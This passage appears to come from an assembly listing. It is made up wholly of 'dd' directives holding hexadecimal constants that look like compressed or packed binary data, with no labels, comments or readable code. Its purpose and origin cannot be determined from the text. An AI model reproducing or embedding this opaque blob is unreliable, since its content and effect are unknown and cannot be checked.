		dd 8B770103h, 35C9FC7Bh, 0DC8E43Fh, 0E2840F00h,	8A2734FDh
		dd 798B000Eh, 85B97EFCh, 391EFA01h, 77EC02CEh, 7A4A2C00h
		dd 4E0E41h, 2413269Ah, 0F5A48F46h, 6217AA00h, 83AB42F7h
		dd 0AF3D07D0h, 91618828h, 213BA044h, 517460AFh,	68BC0800h
		dd 0F9233450h, 0E94F00C0h, 0ED42933h, 0D3003958h, 250CE16h
		dd 3FC5Fh, 49756E46h, 0D809DFC7h, 0B34B8B00h, 0A2FAF277h
		dd 53030063h, 0A5580F91h, 5C004320h, 0F84F33F7h, 48A48CFEh
		dd 0CA000271h, 0E6A0BE9h, 5400AE51h, 0A650528Dh, 8BED40h
		dd 104F944Ch, 41112FD7h, 714AFC00h, 305A56CFh, 8BC60007h
		dd 6F149C44h, 0B800F5D3h, 5501D834h, 0D054CEh, 7E2AE975h
		dd 0ACC8EF82h, 5AC44A00h, 248D5801h, 0E0FD0094h, 3E6CD92Ah
		dd 3900F145h, 8FC709D0h, 3EA5CB29h, 8200687Fh, 0AE1C8B6Bh
		dd 0C05857DCh, 277007Ch
		dd 5213C201h, 0B4EA00C1h, 1FE40E4Fh, 4A145888h,	2C954E89h
		dd 4003A310h, 0E0E6C7C6h, 7F786h, 0FE5A6FBEh, 2C2250E0h
		dd 41813800h, 34761702h, 0E3A1E18h, 0E3678410h,	0CA7DC0B8h
		dd 300006E1h, 0C0012773h, 7F23EB2Ah, 0D4FA61h, 151307D6h
		dd 0CF62B25Ah, 0A4D0E301h, 2A590ACh, 1F850D8h, 0B078C442h
		dd 60119743h, 8001DB44h, 0FB3AF9B8h, 2822C77h, 0FA34A86h
		dd 390225D0h, 13A424DBh, 9D4AC190h, 0C51FD868h,	80CC1EE7h
		dd 36D0895Bh, 7E008BF8h, 0FC58252Dh, 70261BC0h,	27C754Ah
		dd 1F7DDA39h, 5068D329h, 9E000519h, 0F416117Fh,	6394C9h
		dd 313A7D25h, 89E50AD2h, 2A93D900h, 126CB113h, 9ED50F5Bh
		dd 1FF6BC8Bh, 0C0575F87h, 0FC304086h, 7C004E3Fh, 7D123D4Ch
		dd 430126h, 0F129227Eh,	2D9CFE9h, 3F42BC3Eh, 8DF200F9h
		dd 7F4D3A04h, 52FB0724h, 10FAF0A1h, 0DF4C4762h,	4087A900h
		dd 70317992h, 4F8B0088h, 8334F1FCh, 7803044Ah, 46068A1Bh
		dd 147ED9C1h, 10D5F4h, 3BCB8937h, 15A6F3C3h, 0C746000h
		dd 5AEC128Ah, 57FF051Dh, 0C0415E08h, 273AF875h,	6A985100h
		dd 0FF314390h, 489B0028h, 23AFC2FCh, 0E0007883h, 0EC1D756Fh
		dd 0F92A09E8h, 1C87A1FBh, 0A5F884F5h, 8B75003Ah, 701A40EEh
		dd 0AE0790FCh, 28DC3050h, 949B0C60h, 0C93207AAh, 0B021FAD2h
		dd 477CF139h, 9D4BB600h, 4502C80h, 0B86F75E9h, 0D43400B4h
		dd 455DB2CAh, 0C81D30DBh, 0F31EF729h, 593D4080h, 0DA8906h
		dd 1347E95Bh, 9C36C34Ah, 83A8B83Fh, 1E0EC81h, 0E2FAE0A3h
		dd 41B5007Ch, 903C37E8h, 7900F01Dh, 7D28F320h, 1F240A80h
		dd 403175FFh, 856AE3DBh, 1F07AE15h, 0C45B1C59h,	0AAF8C910h
		dd 504D0322h, 0F5743158h, 0B586C194h, 0C066F932h, 87FB0E4Bh
		dd 0CE4652CAh, 10584960h, 0D1350096h, 590CD722h, 50009A20h
		dd 32125B3Bh, 0EC8814h,	8A532E44h, 4F3924A8h, 6113B300h
		dd 897C620Eh, 4CE21D06h, 5A94075h, 0FF0912A3h, 6DE42E00h
		dd 0EC7F4F14h, 0FE52039Eh, 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh
		dd 0E506ADA0h, 8001F4h,	7BBFF85Ch, 0A80B0ACEh, 0C1E4600h
		dd 0D3F5890h, 7F6200A0h, 0F7B400Eh, 881266C8h, 0D80012B2h
		dd 5893598Eh, 0CF22F66Fh, 7FC0012Ah, 0E9D6980Ah, 0DBD24503h
		dd 0F0F35214h, 78EB19h,	30071A91h, 1DCC2C58h, 1A86A58h
		dd 0D4612D44h, 10F0BB28h, 433E4C0h, 0FEF39450h,	89A0C052h
		dd 54008BD5h, 2C8E0A2Eh, 0CB5C03h, 4A0D8F02h, 638AB406h
		dd 241D2D0Fh, 351940E8h, 771A493Dh, 37FD0171h, 5DF01650h
		dd 431ED4EBh, 0E8730400h, 0F243846h, 0F2940077h, 54A97D11h
		dd 9D0049F1h, 0D1285C61h, 984AE98Ah, 70B31F84h,	0DA48C08Eh
		dd 0C6087544h, 7761C400h, 0E57F9C8h, 708E075Bh,	306A2D4Bh
		dd 463A7620h, 0CD25F50Fh, 554F409Ch, 7740561Ah,	287A7E59h
		dd 5DFD6D0h, 1C2F89DBh,	41918024h, 14039BCCh, 0CE920BFAh
		dd 5749A8D0h, 0D45D003Eh, 0D8CCB056h, 4B002B31h, 22CF2529h
		dd 9B3D09h, 0AA1DD5AEh,	5098BEE1h, 0EF335600h, 48CD832Ah
		dd 0BD5B0971h, 5F80325Fh, 84F85A85h, 0FDB21C00h, 0A81E532Bh
		dd 0BF3100AFh, 0D21D1499h, 0F802BB85h, 19385755h, 606FC2C7h
		dd 0BD0FDCh, 10C2731Bh,	23DE0892h, 0F77993F2h, 765E938h
		dd 0FA832875h, 0E0EE72E7h, 26BD9981h, 10372EB4h, 190E3DF6h
		dd 73E02A56h, 27C7661Ch, 0E9289102h, 0E0485E25h, 8BA18Ah
		dd 0E4D414A3h, 88909DA4h, 64836602h, 0C02A8038h, 1818764h
		dd 5F3E868Dh, 4084F742h, 0EB2720CEh, 51FF100Ch,	419FC15h
		dd 0C3A78AAEh, 6071805Ah, 7304123Ah, 0DB77B111h, 0E78611C5h
		dd 0C41007Ah, 7099C3CDh, 14057F3Ah, 757E0FB1h, 301D7980h
		dd 8F580002h, 72BD0486h, 1300C6A8h, 0E5DA0908h,	0FE4C8A52h
		dd 1E507A0Ah, 0BF6493C3h, 981AB80h, 1C850FC0h, 96883900h
		dd 0F02FE0A2h, 0FC021DE4h, 2D51407Dh, 0A9104B9h, 31345901h
		dd 458D12D8h, 0E7B0BF8h, 558F6833h, 40DC2D60h, 0D476D84Eh
		dd 0E43E4A98h, 9C9294F2h, 2C3503F1h, 88E3CCA8h,	1385150h
		dd 0CBD48A23h, 7056B2CFh, 6B00B387h, 0B5657C25h, 797B1D83h
		dd 62CD005Ah, 0F926845Bh, 7014923h, 2D350371h, 27DCE24Fh
		dd 53C800FFh, 2C30EB4Ch, 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h
		dd 0C0756Dh, 0C336835h,	0ACDD5634h, 1209200h, 5482ABAh
		dd 2F2200FDh, 9B511998h, 32008C07h, 0F80A0389h,	0E6443EAh
		dd 2FC0C08h, 9A34EB60h,	7D008F4Ah, 0D15727AAh, 3515C18h
		dd 2B4EAD53h, 28BBA5BEh, 44959C88h, 8A971202h, 0C03BFD01h
		dd 72EE3D6h, 0D266E56Ch, 57A5C7A3h, 9794F008h, 0D800E0C3h
		dd 7E85109h, 7C5BA2Fh, 6962279Ah, 763AC05Fh, 6D01EE74h
		dd 8BDE9C53h, 0D9C187EFh, 3D8E230h, 82DF0D75h, 0A0A4E84Ch
		dd 3203E259h, 0A4133D59h, 305A875h, 210801FBh, 0A31D319h
		dd 0F7D5C048h, 22135500h, 4271109Dh, 949600B4h,	93CBE658h
		dd 0E77BC295h, 2F9B3000h, 0BF4B2D87h, 5EC00034h, 0D383D4CCh
		dd 2177F869h, 0A3110A00h, 63579D5Ch, 0B9510079h, 914C4DB0h
		dd 0F600D6CEh, 6A65AF5Bh, 1E46728Ch, 43B99944h,	0A58B7D89h
		dd 0EF9C13C0h, 0EC830600h, 0FB8D810h, 78207B96h, 90100B9h
		dd 6531F3E8h, 2B0F27B6h, 6FAA56B0h, 2499E0C4h, 595350h
		dd 448CDD58h, 70FF1B1Ah, 0C4060C00h, 33B8040Dh,	891200D9h
		dd 5B3936E2h, 551F2CA2h, 807AE011h, 0AD05D354h,	91F849h
		dd 6CC88925h, 0A34A2471h, 0A540400h, 3870B506h,	47640027h
		dd 3B74A607h, 8D000583h, 85E1D11Bh, 188A910h, 6AE48661h
		dd 0C0953F1Ch, 0C8002C97h, 6B7C818Fh, 0A5FA10h,	0E8067525h
		dd 6602EBEDh, 1C453303h, 0F115FC51h, 0CDF86010h, 77190074h
		dd 7204583Bh, 8010A67h,	0C0705A4h, 0F5E0C975h, 0B0360084h
		dd 0EEE7F432h, 0F0095EBh, 8A129166h, 19A810h, 0EF755CC2h
		dd 6FB8F844h, 64B05B00h, 0C94BC4B3h, 0A3300034h, 9D747A68h
		dd 130F6A82h, 871B7501h, 84D0C3EFh, 7A88214Ch, 53CF022h
		dd 9D7D83F4h, 5598C0C2h, 85001018h, 5077CDB1h, 0F6B9D36Dh
		dd 0A43400F4h, 8C12A515h, 450043E8h, 356536E9h,	371C8Dh
		dd 3ADC3880h, 1780F08h,	0E0EEEDFDh, 700015D5h, 0E814025Bh
		dd 6633D7h, 823B8013h, 8D26EA0Fh, 0A76A3Dh, 0B747C53Dh
		dd 565DD6h, 0F96C34Ch, 2752BF3h, 1468D0Fh, 6268C0AAh, 844BE8h
		dd 39554C64h, 0C749F8CEh, 936F400h, 1F8203D0h, 90FA0081h
		dd 618F0FA4h, 40488B92h, 3348002Eh, 35C65203h, 0B61C0765h
		dd 0C75CC3E1h, 744450E3h, 0C274DEC7h, 0E9856703h, 0A88921DBh
		dd 72047E2h, 3A2CD4CFh,	0C203E056h, 4EE03D40h, 0C6487F00h
		dd 33A13584h, 43A9035Ch, 40AC4C41h, 37A7F090h, 3030976h
		dd 20DF7285h, 0FF5FA8C7h, 2A0200D2h, 590B5D1Ah,	6B0EC1CCh
		dd 0C06E7265h, 321D336Ch, 7B643C2Eh, 920FF594h,	6F673C70h
		dd 61500073h, 4E7468EEh, 51006D7Dh, 0A8231441h,	0FFEE010h
		dd 71A75292h, 40FFE3CEh, 0C68F60ABh, 0E100EE45h, 68D9467Bh
		dd 24BDE03Fh, 87DC91h, 10F801C5h, 1E3974B1h, 7023004Eh
		dd 0C47275E2h, 64210052h, 71014B46h, 361D0EE8h,	6000C7B1h
		dd 92B2A5C3h, 6F903FD4h, 6400EB3Bh, 967AC5ABh, 58007352h
		dd 784B1A37h, 906850h, 0FC3DB3DAh, 466BF053h, 0BF16A60Fh
		dd 0C793001Eh
		dd 0E892AB34h, 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch
		dd 0F61811h, 2113BD80h,	0BEAF0A48h, 0F37D9307h,	678EF90Ch
		dd 9FE0CEEEh, 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh
		dd 0E8102904h, 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h
		dd 755329h, 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h
		dd 89265B8Fh, 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h
		dd 61777400h, 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h
		dd 0FBEB802Bh, 6E232938h, 10BC1F13h, 0A1FA80A4h, 0F8357F14h
		dd 38858700h, 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h
		dd 0B1E2040Fh, 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh
		dd 0A6385C00h, 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h
		dd 0B5ADA648h, 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh
		dd 230C5100h, 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh,	553BC880h
		dd 0E413B4FCh, 2E030A37h, 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh
		dd 9A2C0A6h, 0CB41FCEEh, 0F13DCCE3h, 80047B38h,	2A7D3E81h
		dd 0AB15A68h, 998438Bh,	0B3E803EAh, 50727B99h, 6F0CBC00h
		dd 0F3F4120Ah, 0E87F47Ch, 0CDE31328h, 0C0A7C845h, 89582A2h
		dd 3C00F178h, 0AC042512h, 48E09378h, 1000B62Ah,	8D520C06h
		dd 4A000EBAh, 214BC22h,	2993E8h, 0E6A2D272h, 11C98E7Dh
		dd 6DF81F00h, 1DF1F35Eh, 0B18B0051h, 1A7EA256h,	3C00C9EDh
		dd 0AEB77DF2h, 52AAE9h,	62BB4433h, 21590504h, 0F7EB3400h
		dd 9612CADh, 76747FB0h,	745B48E8h, 49017500h, 0DC76DA19h
		dd 894C3001h, 6CB0C46h,	17FF20h, 45C3B12Dh, 9B480B74h
		dd 2EFC207Dh, 3AC0E900h, 4BB8621Ah, 0F2BA0380h,	40B95F31h
		dd 1C46C7D0h, 65D6E800h, 827A079h, 50C4FA18h, 0B80FE502h
		dd 29C00313h, 62491778h, 4424A0F7h, 14002018h, 597E8088h
		dd 222648h, 0FB96B2AEh,	10510F99h, 7060520Ch, 852046h
		dd 0FF32DA53h, 8920EB3Ch, 7E810600h, 8BB3042Ah,	63A600B8h
		dd 4EFF1FA3h, 0EA0050EEh, 7BE82836h, 44C874h, 812D8CC9h
		dd 6A96730Bh, 46E12C07h, 0AB303950h, 5CAD2Ah, 0B1D58990h
		dd 968D1361h, 7C2EB900h, 4736FF24h, 0A85A0165h,	0D68B2280h
		dd 5CFD86Eh, 0BC074C79h, 1A1D0906h, 85405B80h, 2A8801F9h
		dd 4AC2572Bh, 15472019h, 8023A33Dh, 22EB5D0Ah, 1491C6h
		dd 8AB29554h, 0F66A5840h, 5E0F617Eh, 2083E8F5h,	3B5374B4h
		dd 0B1223FB0h, 6FC91781h, 607E316Bh, 20736C0h, 0FA480775h
		dd 5EE4B1E0h, 0A47CC3h,	23246D7Ch, 69B81188h, 0E9EB0402h
		dd 809881A2h, 0DBF08BB3h, 0A488008Dh, 49CF9092h, 2403D414h
		dd 0EEDB108h, 4BCAE0EAh, 143148E4h, 5C181A00h, 1C149FB3h
		dd 4CE41190h, 7A3E2400h, 1B13549Ah, 0B08200B5h,	87D882Ah
		dd 0F80E1C90h, 200AAE11h, 75CDFE07h, 0C30B02A4h, 8A94DE28h
		dd 4FBABFC0h, 0E6F34Ch,	0EF461CD3h, 20C30Eh, 0F718AFA6h
		dd 0E9B767B8h, 0A97231Dh, 0E479254Fh, 7580961Ah, 3C2AA1D8h
		dd 0E8950EAh, 0B400FA83h, 85541977h, 6032198h, 132453E1h
		dd 41C5E94Eh, 98042CD4h, 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh
		dd 784A81E4h, 1A750A00h, 73BB9A4h, 0A573E3C3h, 8A3D50F8h
		dd 80011109h, 48302F9h,	0E1F46B42h, 1D70FFC1h, 0B822000Dh
		dd 0B046A868h, 9C0FC41Ah, 600A3D32h, 81412919h,	0EBBF0074h
		dd 764850DEh, 58005216h, 0B472114Ch, 0EC04C601h, 40FF001Ah
		dd 816656F3h, 13005830h, 0F8425290h, 263C494Eh,	0ED51FFAh
		dd 6F60D23Dh, 0DBF2724Ch, 62B45E00h, 0B0FAE8F1h, 95AC00DDh
		dd 3AC2484Fh, 6500F426h, 104B8339h, 203CA2Bh, 7CF080C4h
		dd 0A1808A1Fh, 3A9B3C42h, 0D701172h, 60AA062Eh,	1EBEE00h
		dd 122B4A33h, 3B8930h, 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h
		dd 0CDEB5837h, 43C30EACh, 0CFE0850Ch, 6930C235h, 8797743Fh
		dd 0FC5AE45Bh, 0E13D9B12h, 0E5701877h, 120F1DF1h, 27B9C00Ah
		dd 4B35FF05h, 0BCC60C00h, 58F08904h, 24ED0198h,	4084B073h
		dd 0E2E8700Ah, 76805A00h, 45E89C6h, 56FF1D17h, 4587C718h
		dd 0B8942069h, 76007166h, 6F47BAF1h, 75BE77h, 0B7070FB2h
		dd 0B045B3C8h, 21C5F507h, 1E903347h, 90FC2E75h,	2803007Eh
		dd 4987B8BBh, 600452Bh,	1167FD1h, 7DC5A30Eh, 421900F4h
		dd 5F4CA4F3h, 59503302h, 100DA85h, 915D7A62h, 0B6E3D06h
		dd 0AB75A04Eh, 39F6C780h, 5800D050h, 49A6595Ah,	3B77426h
		dd 95772BCDh, 0B87807D6h, 0BA258E0Eh, 83750060h, 0EA7E40F9h
		dd 0E9071F21h, 0B951C004h, 4A27269Ah, 1E773F00h, 0D7532C7h
		dd 7ED5015Bh, 608F0464h, 1AC3E4FFh, 3FDC7100h, 2812F825h
		dd 0EC0E3DA1h, 0CB802BBBh, 2F820B7Eh, 44E874D1h, 0F1875A0Bh
		dd 1D2D00F5h, 0AEA0BAh,	542B7EBDh, 3B90E91Fh, 89DB520Fh
		dd 3FDD201Eh, 580809F3h, 8213B67Dh, 63490017h, 56C3EB15h
		dd 10D38400h, 0E22B5A27h, 121403CBh, 0C928B5CAh, 0E9428688h
		dd 69C75300h, 8D368158h, 55FF0E51h, 0B967C17Ah,	5A6CC001h
		dd 0E202A4AAh, 0F04C49A9h, 7B0DE020h, 40950483h, 0C1AEF2F4h
		dd 0D349D125h, 21ED6C00h, 2C663B97h, 0D7F60012h, 0ABA63790h
		dd 0E000209Fh, 4574487Ch, 71416CBh, 7F8DD5A2h, 0F29C02Bh
		dd 5F001FE2h, 2CDB92C0h, 4F6855h, 0DE011990h, 0ECE8C1C9h
		dd 4224B201h, 3D620F16h, 9E18FCh, 3318C50h, 800422B3h
		dd 340045E0h, 0C3158451h, 0EA48D8F7h, 4442007Dh, 3001F9E2h
		dd 0B0EE0B3h, 0CB473198h, 0C7670752h, 2DA3C3E0h, 6577005Eh
		dd 70EED93Dh, 150001A4h, 0A7FFF80h, 0EE13FC8h, 1C4002A0h
		dd 840542E0h, 770008FAh, 380C9C72h, 7A47C350h, 0F424000Fh
		dd 9680C012h, 8C7A1698h, 0BEBC200Fh, 6B286119h,	16A61CEEh
		dd 80951F7Ah, 43B7E16Fh, 0C0023BAh, 0D4A50410h,	0FE800DE8h
		dd 84E7002Ah, 14A39174h, 0E6F4F4F0h, 2DB52800h,	31A0020Ah
		dd 0E35F18A9h, 8BF3C30h, 8E1BC900h, 2EC54034h, 7CA258BCh
		dd 76FA3700h, 0B6B3A0Eh, 3E91DE38h, 234400E8h, 883E8AC7h
		dd 4AC0162h, 0AD78EBC5h, 7A80C041h, 26B71701h, 44D8D710h
		dd 1AC90C0h, 8678326Eh,	30484087h, 0A0357B5h, 0A968163Fh
		dd 0EDA1804Bh, 0CE0703CCh, 4ED3C21Bh, 1484A0C8h, 5161F800h
		dd 527A5976h, 0A5C80407h, 0C0B99019h, 0A0556724h, 200F3A0Fh
		dd 8F27E0F4h, 0C358CECBh, 0F894093Eh, 3F3978D8h, 875C813Dh
		dd 36B90BE5h, 8FD1D7B7h, 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch
		dd 8300629Eh, 45812296h, 1C6F7CF8h, 3F657AFCh, 2B70B500h
		dd 9DC5ADA8h, 1697F00h,	0FFCFA6D5h, 781F0E49h, 0C314B6BDh
		dd 16C59B03h, 0EF80B3ABh, 0E001413Dh, 0A48E98Ch, 93E4BAE4h
		dd 24AAE0A8h, 0E78E617h, 0B60516A1h, 55718012h,	8D093927h
		dd 70F70Fh, 0C9304093h,	0FFE33D3Ch, 8A529681h, 838E49E7h
		dd 0EBFB9D9Ch, 5152007Eh, 6A2F8C43h, 0F00195Ch,	0BBD226FCh
		dd 1EE37640h, 8029F2CCh, 7D817C84h, 0A141C44h, 0A4DB90h
		dd 406F9FA4h, 1F8AA17h,	0E30F10AEh, 0ECFAC4C5h,	0B01C9C59h
		dd 0DD002AE9h, 4564F28Ah, 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah
		dd 0A7A262D1h, 0D800DC07h, 39B83Eh, 0E91C746h, 0A0AEA603h
		dd 0A3E31900h, 750C17D0h, 86812C39h, 48C9002Ah,	93A7E44Dh
		dd 353BF0E1h, 0EDB2B800h, 5D1CE553h, 0FDC5003Dh, 929E8B80h
		dd 0F000A65Ah
		dd 0C02001A1h, 0F8CA554h, 0E5FB6137h, 5D259D01h, 0DBF9C089h
		dd 0F3F86700h, 7BA2BF27h, 80CAC0C8h, 20979B6Eh,	28A38h
		dd 25C46052h, 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h
		dd 0F7144EFAh, 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h
		dd 59D109A8h, 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh
		dd 4C914197h, 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h
		dd 0A791001h, 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h
		dd 20E9DB91h, 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h
		dd 0D68ED24Eh, 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh
		dd 40001B1Fh, 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h
		dd 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h
		dd 5875FFh, 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h
		dd 0FFDA00C3h, 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h
		dd 0F882681h, 8B40835Ah, 0A77B9EDAh, 5D64F300h,	47565948h
		dd 0C8EE07h, 0F07E25BEh, 0F495725Ch, 0CA92AC07h, 7520F2F5h
		dd 42CC88h, 2F3344DCh, 85844F80h, 251520Fh, 40400FABh
		dd 9C7C20F9h, 302C00F1h, 0D81C051Ah, 0AB07B8C3h, 0FE2D331h
		dd 2A60A510h, 5CFB0EE0h, 0C121061Ch, 708B1FFAh,	9900E6FCh
		dd 38F8D333h, 3B487FADh, 303F5EF9h, 0E8000EBEh,	395364DAh
		dd 2500AFEAh, 7E75F448h, 9D5442h, 5E24054Bh, 0C93793C1h
		dd 2C383500h, 535CAC92h, 317F000Ah, 0C1F096Fh, 0F9031474h
		dd 0FC2B7A81h, 0EC10F873h, 50F230A5h, 0D81754DCh, 57F81A00h
		dd 703C685Dh, 83FA42h, 0F01212Dh, 0CC2ABCE1h, 8A309201h
		dd 2299B355h, 3D3CF0h, 0DE605C6h, 43460E02h, 1F0044F8h
		dd 0E8C76603h, 0AF9D6Ch, 287F34A7h, 92A40901h, 897058h
		dd 4991410h, 0ECA78056h, 98EB00E8h, 2940693Fh, 541F4BFAh
		dd 2A050A90h, 5D80877Eh, 1A5A6Bh, 697947F3h, 5F76139Bh
		dd 22302D00h, 9DAB7CBAh, 3AE500F9h, 0F4AF25Dh, 0D07B25Ah
		dd 472CA31Bh, 9001BBE0h, 84280015h, 204838DBh, 0C201F229h
		dd 94345577h, 0D660CBF3h, 0B8090092h, 0FC114710h, 0F8008891h
		dd 0F072F4E4h, 90CEC39h, 8B82F53h, 8343CC00h, 0CC033D2Ah
		dd 197DE0D7h, 25E2F00Ah, 0D22E00E8h, 1C8368A8h,	0E175406Ah
		dd 987B4503h, 0D8A50C02h, 0AEB1Fh, 2D31A153h, 3D0D8B43h
		dd 0E01D8900h, 78156B19h, 83784Fh, 2F2893E8h, 1CD422A3h
		dd 56E75403h, 0E0A531B3h, 5771E14h, 32157CC5h, 0D04CC74Eh
		dd 8B730A3Bh, 282B2903h, 0A8CD191Fh, 581246h, 548E0B2Dh
		dd 318A4C9Bh, 1DC80D00h, 1442058Bh, 0FF600084h,	15F66428h
		dd 6D182C6Bh, 0AD04C382h, 4F34176Eh, 80B71E5Bh,	7A17E022h
		dd 0D903E612h, 0E3535A88h, 0AEE2A0B6h, 0D4A100C5h, 8A7B3448h
		dd 0CD00C48Bh, 0D88E6927h, 0B4E641h, 8900460h, 0CAA8A10Ah
		dd 0EA31300h, 0BA4B80Ch, 0EB2503E8h, 8466937h, 94047BC8h
		dd 4B13BA00h, 75F998B1h, 25EE6Eh, 9E9D5014h, 764D8BC9h
		dd 5328A200h, 20D53AEDh, 0C10CE627h, 0EC908458h, 0C55B204Fh
		dd 0D835FF00h, 0BCB93D14h, 331C014Eh, 54CC2524h, 790BCC99h
		dd 3401577Bh, 932DC45h,	69E480C4h, 0EB601EA6h, 0A49ECF10h
		dd 722413C0h, 99282004h, 2309EE08h, 149118h, 7C0CE47Ah
		dd 478E1EA8h, 40A05EA4h, 3998729Ch, 90691C94h, 0F07FFE1Ah
		dd 6C009170h, 64E468C8h, 98396072h, 22586132h, 60502354h
		dd 4800C819h, 407244E4h, 601C3C39h, 23342238h, 2C009130h
		dd 0B4E4B8C8h, 3BB072h,	0FC319382h, 0A6F8104Ch,	0F4470800h
		dd 0EC91F023h, 9FE800CFh, 10E494A1h, 802E0CAh, 0D872DC64h
		dd 0D0464139h, 23CC5E80h, 0DEC491C8h, 0F8CE100h, 3D207B7h
		dd 10E200C1h, 0B0C3C20Bh, 4F98A1E8h, 0B62F9300h, 90AE01CCh
		dd 7FE10181h, 187BD521h, 4914DC05h, 57780800h, 64487710h
		dd 5387000Ch, 517F90FDh, 1AB80F8Fh, 697C9717h, 4C459501h
		dd 4770F909h, 0B1465080h, 0A2423A3Ch, 0E7641A83h, 898F06Ah
		dd 0C83EF111h, 72F300F2h, 1CF539F4h, 0F7C8C0F6h, 0F991F823h
		dd 0E4FAC800h, 39FC72FBh, 0FE1C0EFDh, 0E08CFF8Eh, 2303E12Ah
		dd 0C8E391E2h, 72E588E4h, 0E73900E6h, 0CF21E81Ch, 0E901884Bh
		dd 32EAC5D7h, 0E20EB18h, 0ED1C30ECh, 0EF23EE42h, 0C8D09100h
		dd 72D2E4D1h, 0E83B75D3h, 0D6390CD5h, 0D82AD71Ch, 91D92301h
		dd 0E4DBC8DAh, 39DDC040h, 0DF1C20DEh, 0C123C000h, 0C3C8C291h
		dd 72C401E4h, 1CC639C5h, 722BEC7h, 0CA91C923h, 0CCE4CB50h
		dd 39CD0472h, 0CF1CCEh,	91B123B0h, 0B3C824B2h, 39B58111h
		dd 80B71CB6h, 0B923B822h, 0C8BA91h, 72BCE4BBh, 1CBE39BDh
		dd 12A0BF40h, 9BA122h, 705CC165h, 431E23E8h, 1EBC848Fh
		dd 425E082Ah, 65209F03h, 0E75BD8FEh, 0AC901DCFh, 0C29C032h
		dd 4B103CBAh, 0AA1FFC7Fh, 51400E2Ah, 0F62F0501h, 2AB0FEh
		dd 65637845h, 0A6D13A70h, 805D883Ah, 8B530A7h, 1C8A1020h
		dd 0C0685CD4h, 817E2423h, 651F4845h, 5B037061h,	0ABE45790h
		dd 95809CB2h, 0C015E2h,	754F450Ch, 66017473h, 6D654D00h
		dd 3A79726Fh, 9520001Ch, 0A9E95C5Eh, 91EAB840h,	450BD4F5h
		dd 0DD6E4909h, 3FEE0EBDh, 588E989Dh, 48EF8390h,	2F0C9066h
		dd 28400F74h, 0D8A06C61h, 0B258F057h, 4C6030B0h, 2D12C484h
		dd 846C0523h, 817E5F50h, 0F0756020h, 10165209h,	35010E65h
		dd 47F658A8h, 79043CD0h, 0F01F642h, 76694445h, 415A7900h
		dd 90016FBBh, 585E60C1h, 0EED4109Ch, 2C00048h, 676E6152h
		dd 9DFD1965h, 7700C820h, 8210C92h, 4076014Fh, 6F6C66AFh
		dd 2B74F44Dh, 0D95CB41Ch, 64221DC0h, 0FC0C20E9h, 1E0A7EBFh
		dd 0B9063B3h, 0F38F7AD5h, 688461A0h, 940B2E60h,	7626B4h
		dd 4F64691Eh, 0D2902A70h, 0BE07F193h, 5B92B740h, 0C237B4C0h
		dd 0E74F1FBCh, 61F16C4Ch, 14D4C1A4h, 9A1F0062h,	0D0084740h
		dd 520A6E55h, 0EE3A5964h, 6C76AB28h, 0D188E500h, 8760220Fh
		dd 4F6F0450h, 81854A36h, 0D044F649h, 301DB90Ch,	97D567Eh
		dd 8C433Ah, 63E98D01h, 7542F4AFh, 0C01D0024h, 6F43450Dh
		dd 0B002BAD4h, 80A2D858h, 0A00543BDh, 0EACC4Ch,	41451005h
		dd 7388C363h, 0E0568A00h, 0B9616C89h, 0BC2A1E8Eh, 40F64047h
		dd 26F42CB1h, 325048h, 1656C8Bh, 503890E4h, 0C084CA64h
		dd 0E803B0Ah, 74005345h, 6B632661h, 67905081h, 4064A294h
		dd 1109C93Bh, 20747003h, 0A7EF6C6Bh, 58AFEC30h,	52E864h
		dd 5684C83Bh, 390D8761h, 8A04512h, 0D4FC8D00h, 58EA5C40h
		dd 0C51E2449h, 0BD59C02Dh, 23614609h, 8D646F0Eh, 0B260C057h
		dd 7FE41DA8h, 8462030Eh, 738572D9h, 490BDE8h, 839C6655h
		dd 41491F0Ah, 4365D2ACh, 8F60E074h, 0B289E7E4h,	890C8112h
		dd 0C4002A1Eh, 8D70E3DCh, 6903FFh, 59242552h, 0FDAA7ECh
		dd 0C1C20100h, 0F76610EAh, 5DF407F3h, 0D0F9ED08h, 0B0130693h
		dd 0BD04D809h, 0B2768010h, 4CEDA1FEh, 37003E74h, 525A6CCFh
		dd 5C00212Bh, 6A69B3A9h, 29EA84h, 10236DAFh, 2CA66706h
		dd 1B409D00h, 44B7C38Bh, 4DEE00EDh, 0B3E58F5h, 5B016D47h
		dd 0D70D3D28h, 4BF8FC67h, 3AEB00E1h, 0B04A2ADAh, 0C91690A5h
		dd 0B1005388h, 0EBA80996h, 0D2D900DDh, 89DC520Fh, 390716C1h
		dd 47AC76D1h, 0F3C9003Eh, 12A74A6h, 95FF5E8Ah, 70627852h
		dd 770F7A94h, 0C07D4855h
		dd 0A120DC7Fh, 0A0C2703Bh, 0FB38F5h, 300FD874h,	0D706C3B6h
